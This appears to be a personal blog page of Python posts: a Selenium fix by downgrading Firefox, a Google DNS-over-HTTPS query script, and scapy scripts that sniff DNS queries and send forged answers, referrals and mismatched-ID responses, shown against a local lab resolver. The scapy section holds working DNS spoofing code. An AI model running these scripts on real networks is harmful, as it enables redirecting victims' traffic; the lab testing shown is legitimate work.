lost and found ( for me ? )

Showing posts with label python. Show all posts
Showing posts with label python. Show all posts

Python selenium does not work with Firefox 47.0


OS : Ubuntu 14.04 64bit

selenium 2.53.5

$ firefox --version
Mozilla Firefox 47.0

After upgrading Firefox from 46.0 to 47.0 via apt-get, a slenium script does not work with FF47. This script worked well with  FF 46.0.
$ python /home/hattori/Python_works/selenium_Test06.py
E
======================================================================
ERROR: test_selenium_Test02 (__main__.SeleniumTest02)
----------------------------------------------------------------------
Traceback (most recent call last):
 File "/home/hattori/Python_works/selenium_Test06.py", line 20, in setUp
   self.driver = webdriver.Firefox()
 File "/usr/local/lib/python2.7/dist-packages/selenium/webdriver/firefox/webdriver.py", line 81, in __init__
   self.binary, timeout)
 File "/usr/local/lib/python2.7/dist-packages/selenium/webdriver/firefox/extension_connection.py", line 51, in __init__
   self.binary.launch_browser(self.profile, timeout=timeout)
 File "/usr/local/lib/python2.7/dist-packages/selenium/webdriver/firefox/firefox_binary.py", line 68, in launch_browser
   self._wait_until_connectable(timeout=timeout)
 File "/usr/local/lib/python2.7/dist-packages/selenium/webdriver/firefox/firefox_binary.py", line 98, in _wait_until_connectable
   raise WebDriverException("The browser appears to have exited "
WebDriverException: Message: The browser appears to have exited before we could connect. If you specified a log_file in the FirefoxBinary constructor, check it for details.


----------------------------------------------------------------------
Ran 1 test in 3.048s

FAILED (errors=1)

Here is a temporary solution I found.
remove firefox

$ sudo apt-get purge firefox

install FF46.0

$ wget https://sourceforge.net/projects/ubuntuzilla/files/mozilla/apt/pool/main/f/firefox-mozilla-build/firefox-mozilla-build_46.0.1-0ubuntu1_amd64.deb

$ sudo dpkg -i firefox-mozilla-build_46.0.1-0ubuntu1_amd64.deb

$ firefox --version
Mozilla Firefox 46.0.1

$ sudo apt-mark hold firefox

$ python /home/hattori/Python_works/selenium_test06.py
.
----------------------------------------------------------------------
Ran 1 test in 40.916s

OK

How to send DNS queries over HTTPS to Google Public DNS with Python

Here is a sample python script of how to send DNS queries over HTTPS to Google Public DNS.

Reference
https://developers.google.com/speed/public-dns/docs/dns-over-https#supported_parameters

This script sends 3 DNS queries over HTTPS in a row with single TCP connection.
hattori@ubuntu:~/Python_works$ cat dns_over_https_keepalive.py
import requests

s = requests.Session()
res = s.get('https://dns.google.com/resolve?name=www.google.com&edns_client_subnet=100.0.0.0/24')
res_dict = res.json()
#for key, value in res_dict.iteritems():
#    print key, value
print "All responses\n", res_dict, "\n"
print "Question\n", res_dict['Question'], "\n"
print "Answer\n", res_dict['Answer'], "\n"

print "---\n"

res = s.get('https://dns.google.com/resolve?name=www.google.com&edns_client_subnet=30.0.0.0/24')
res_dict = res.json()
print "All responses\n", res_dict, "\n"
print "Question\n", res_dict['Question'], "\n"
print "Answer\n", res_dict['Answer'], "\n"

print "---\n"

res = s.get('https://dns.google.com/resolve?name=www.apple.com&edns_client_subnet=50.0.0.0/24')
res_dict = res.json()
print "All responses\n", res_dict, "\n"
print "Question\n", res_dict['Question'], "\n"
print "Answer\n", res_dict['Answer'], "\n"

Sample output
hattori@ubuntu:~/Python_works$ python dns_over_https_keepalive.py
All responses
{u'Status': 0, u'Comment': u'Response from 216.239.32.10', u'edns_client_subnet': u'100.0.0.0/21', u'AD': False, u'Question': [{u'type': 1, u'name': u'www.google.com.'}], u'CD': False, u'RD': True, u'RA': True, u'Answer': [{u'data': u'172.217.4.196', u'type': 1, u'name': u'www.google.com.', u'TTL': 299}], u'TC': False, u'Additional': []}

Question
[{u'type': 1, u'name': u'www.google.com.'}]

Answer
[{u'data': u'172.217.4.196', u'type': 1, u'name': u'www.google.com.', u'TTL': 299}]

---

All responses
{u'Status': 0, u'Comment': u'Response from 216.239.32.10', u'edns_client_subnet': u'30.0.0.0/32', u'AD': False, u'Question': [{u'type': 1, u'name': u'www.google.com.'}], u'CD': False, u'RD': True, u'RA': True, u'Answer': [{u'data': u'216.58.199.100', u'type': 1, u'name': u'www.google.com.', u'TTL': 299}], u'TC': False, u'Additional': []}

Question
[{u'type': 1, u'name': u'www.google.com.'}]

Answer
[{u'data': u'216.58.199.100', u'type': 1, u'name': u'www.google.com.', u'TTL': 299}]

---

All responses
{u'Status': 0, u'Comment': u'Response from 96.7.248.135', u'edns_client_subnet': u'50.0.0.0/0', u'AD': False, u'Question': [{u'type': 1, u'name': u'www.apple.com.'}], u'CD': False, u'RD': True, u'RA': True, u'Answer': [{u'data': u'www.apple.com.edgekey.net.', u'type': 5, u'name': u'www.apple.com.', u'TTL': 1145}, {u'data': u'www.apple.com.edgekey.net.globalredir.akadns.net.', u'type': 5, u'name': u'www.apple.com.edgekey.net.', u'TTL': 21599}, {u'data': u'e6858.dscc.akamaiedge.net.', u'type': 5, u'name': u'www.apple.com.edgekey.net.globalredir.akadns.net.', u'TTL': 3599}, {u'data': u'104.113.107.126', u'type': 1, u'name': u'e6858.dscc.akamaiedge.net.', u'TTL': 19}], u'TC': False, u'Additional': []}

Question
[{u'type': 1, u'name': u'www.apple.com.'}]

Answer
[{u'data': u'www.apple.com.edgekey.net.', u'type': 5, u'name': u'www.apple.com.', u'TTL': 1145}, {u'data': u'www.apple.com.edgekey.net.globalredir.akadns.net.', u'type': 5, u'name': u'www.apple.com.edgekey.net.', u'TTL': 21599}, {u'data': u'e6858.dscc.akamaiedge.net.', u'type': 5, u'name': u'www.apple.com.edgekey.net.globalredir.akadns.net.', u'TTL': 3599}, {u'data': u'104.113.107.126', u'type': 1, u'name': u'e6858.dscc.akamaiedge.net.', u'TTL': 19}]

craft DNS responses with python scapy

Here is sample scapy scripts of how to craft DNS responses.

Reference

I have confirmed that I can run the following scripts with python-scapy 2.2.0-1.
# dpkg -l python-scapy | tail -1
ii  python-scapy                    2.2.0-1                          all          Packet generator/sniffer and network scanner/discovery


1. return answer responses

# cat scapy_dns_answer_res.py -n
    1 from scapy.all import *
    2
    3 def dns_spoof(pkt):
    4    if pkt.haslayer(DNSQR):
    5        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
    6                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
    7                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, \
    8                      an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=100, rdata='1.1.1.1'))
    9        send(spoofed_pkt)
   10 sniff(filter='udp and dst port 53', iface='eth0', store=0, prn=dns_spoof)

run the script
# python scapy_dns_answer_res.py
WARNING: No route found for IPv6 destination :: (no default route?)

send DNS queries
# dig @10.0.3.150 www.foo.bar.example.com.

; <<>> DiG 9.9.5-3ubuntu0.7-Ubuntu <<>> @10.0.3.150 www.foo.bar.example.com.
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64819
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.foo.bar.example.com. IN A

;; ANSWER SECTION:
www.foo.bar.example.com. 100 IN A 1.1.1.1




2. return referral responses

This returns referral responses.
# cat -n send_referral_dns_responses.py
    1 from scapy.all import *
    2
    3 ttl=3
    4
    5 def dns_res(pkt):
    6       if pkt.haslayer(DNSQR):
    7           domain = ''
    8           query_string = pkt[DNS].qd.qname
    9           query_list = query_string.split('.')
   10 #           print query_list
   11           for i in query_list[1:-1]:
   12               domain += i + '.'
   13 #           print domain
   14           spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
   15                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
   16                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, qr=1L, aa=0L, tc=0L, rd=0L, ra=1L, z=0L,\
   17                           qdcount=1, ancount=0, nscount=2, arcount=2,\
   18                      an=None,\
   19                      ns=(DNSRR(rrname=domain,type='NS',ttl=ttl,rdata='ns1.'+domain)\
   20                          /DNSRR(rrname=domain,type='NS',ttl=ttl,rdata='ns2.'+domain)\
   21                         ),\
   22                      ar=(DNSRR(rrname='ns1.'+domain,type='A',ttl=ttl,rdata='1.1.1.1')\
   23                         /DNSRR(rrname='ns2.'+domain,type='A',ttl=ttl,rdata='2.2.2.2')\
   24                         ),\
   25                     )
   26           send(spoofed_pkt)
   27
   28 sniff(filter='udp and dst port 53', iface='eth0', store=0, prn=dns_res)

run the script.
# python send_referral_dns_responses.py
WARNING: No route found for IPv6 destination :: (no default route?)

got referral responses.
# dig @10.0.3.150 www.foo.com.                  

; <<>> DiG 9.9.5-3ubuntu0.7-Ubuntu <<>> @10.0.3.150 www.foo.com.
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29221
;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.foo.com. IN A

;; AUTHORITY SECTION:
foo.com. 3 IN NS ns1.foo.com.
foo.com. 3 IN NS ns2.foo.com.

;; ADDITIONAL SECTION:
ns1.foo.com. 3 IN A 1.1.1.1
ns2.foo.com. 3 IN A 2.2.2.2

got referral responses.
# dig @10.0.3.150 www.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com

; <<>> DiG 9.9.5-3ubuntu0.7-Ubuntu <<>> @10.0.3.150 www.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16078
;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com. IN A

;; AUTHORITY SECTION:
a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com. 3 IN NS ns1.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com.
a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com. 3 IN NS ns2.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com.

;; ADDITIONAL SECTION:
ns1.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com. 3 IN A 1.1.1.1
ns2.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com. 3 IN A 2.2.2.2

3. return mismatch TXID

pick up random int from 0 to 10000 and use that as TXID.
# cat -n scapy_dns_answer_res_mismatch_txid.py
    1 from scapy.all import *
    2 import random
    3
    4 def dns_spoof(pkt):
    5    if pkt.haslayer(DNSQR):
    6        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
    7                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
    8                      DNS(id=random.randint(0,10000), qd=pkt[DNS].qd, aa=1, qr=1, \
    9                      an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=100, rdata='1.1.1.1'))
   10        send(spoofed_pkt)
   11 sniff(filter='udp and dst port 53', iface='eth0', store=0, prn=dns_spoof)

# dig @10.0.3.150 www.hello.com
;; Warning: ID mismatch: expected ID 36459, got 3149
;; Warning: ID mismatch: expected ID 36459, got 8024
;; Warning: ID mismatch: expected ID 36459, got 6544


; <<>> DiG 9.9.5-3ubuntu0.7-Ubuntu <<>> @10.0.3.150 www.hello.com
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached